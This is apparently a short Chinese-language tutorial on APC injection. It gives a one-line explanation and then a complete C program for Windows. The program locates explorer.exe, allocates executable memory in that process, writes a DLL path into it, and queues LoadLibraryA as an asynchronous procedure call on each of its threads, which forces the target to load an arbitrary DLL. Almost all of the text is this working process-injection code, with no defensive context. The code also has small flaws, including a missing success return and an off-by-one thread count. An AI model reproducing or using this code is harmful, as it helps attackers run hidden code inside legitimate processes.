APC注入

线程被唤醒时APC中的注册函数会被执行,因此使用QueueUserAPC向APC队列插入函数即可完成注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
BOOL ApcInject(char *,char *);
DWORD GetProcessIdByProcessName(char *);
BOOL GetAllThreadIdByProcessId(DWORD,PDWORD,PDWORD);
void main ()
{
char ProcessName[] = "explorer.exe";
char DllName[] = "C:\\Users\\admin\\Desktop\\mydll.dll";
ApcInject(ProcessName,DllName);
}
BOOL ApcInject(char *ProcessName,char *DllName)
{
DWORD dwProcessId = GetProcessIdByProcessName(ProcessName);
if (0 >=dwProcessId)
{
return FALSE;
}//获取进程ID
DWORD ThreadId[MAX_PATH]={0};
DWORD dwThreadIdLength=0;
BOOL ret = GetAllThreadIdByProcessId(dwProcessId,ThreadId,&dwThreadIdLength);
if (FALSE == ret)
{
return FALSE;
}//获取注入进程所有线程ID

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
if (NULL == hProcess)
{
return FALSE;
}//打开注入进程

SIZE_T dwDllPathLen = 1+strlen(DllName);//dll名称长度
LPVOID bassAddress = VirtualAllocEx(hProcess,NULL,dwDllPathLen,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (NULL == bassAddress)
{
return FALSE;
}//进程空间申请内存

SIZE_T dwRet;
WriteProcessMemory(hProcess,bassAddress,DllName,dwDllPathLen,&dwRet);
if (dwRet != dwDllPathLen)
{
return FALSE;
}//写入dll到进程内存

LPVOID pLoadLibraryAFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
return FALSE;
}//获取LoadLibrary函数地址

for (DWORD i=0; i< dwThreadIdLength; i++)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,ThreadId[i]);//遍历线程
if(hThread)
{
QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc,hThread,(ULONG_PTR)bassAddress);//插入APC
CloseHandle(hThread);
}
}

}

DWORD GetProcessIdByProcessName(char *ProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL;
}
PROCESSENTRY32 pe = { sizeof(pe) };
for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
if (strcmp(pe.szExeFile, ProcessName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
}
CloseHandle(hSnapshot);
return 0;
}
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId,PDWORD ThreadId,PDWORD dwThreadIdLength)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL;
}
THREADENTRY32 ThreadInfo;
ThreadInfo.dwSize = sizeof(ThreadInfo);
int i =0;
BOOL bRet = Thread32First(hSnapshot, &ThreadInfo);
while (bRet)
{
if( dwProcessId == ThreadInfo.th32OwnerProcessID )
{
// 遍历所属PID线程
ThreadId[i] = ThreadInfo.th32ThreadID;
i++;
}
bRet = Thread32Next(hSnapshot, &ThreadInfo);
}
*dwThreadIdLength = i+1 ;
CloseHandle(hSnapshot);
return true;
}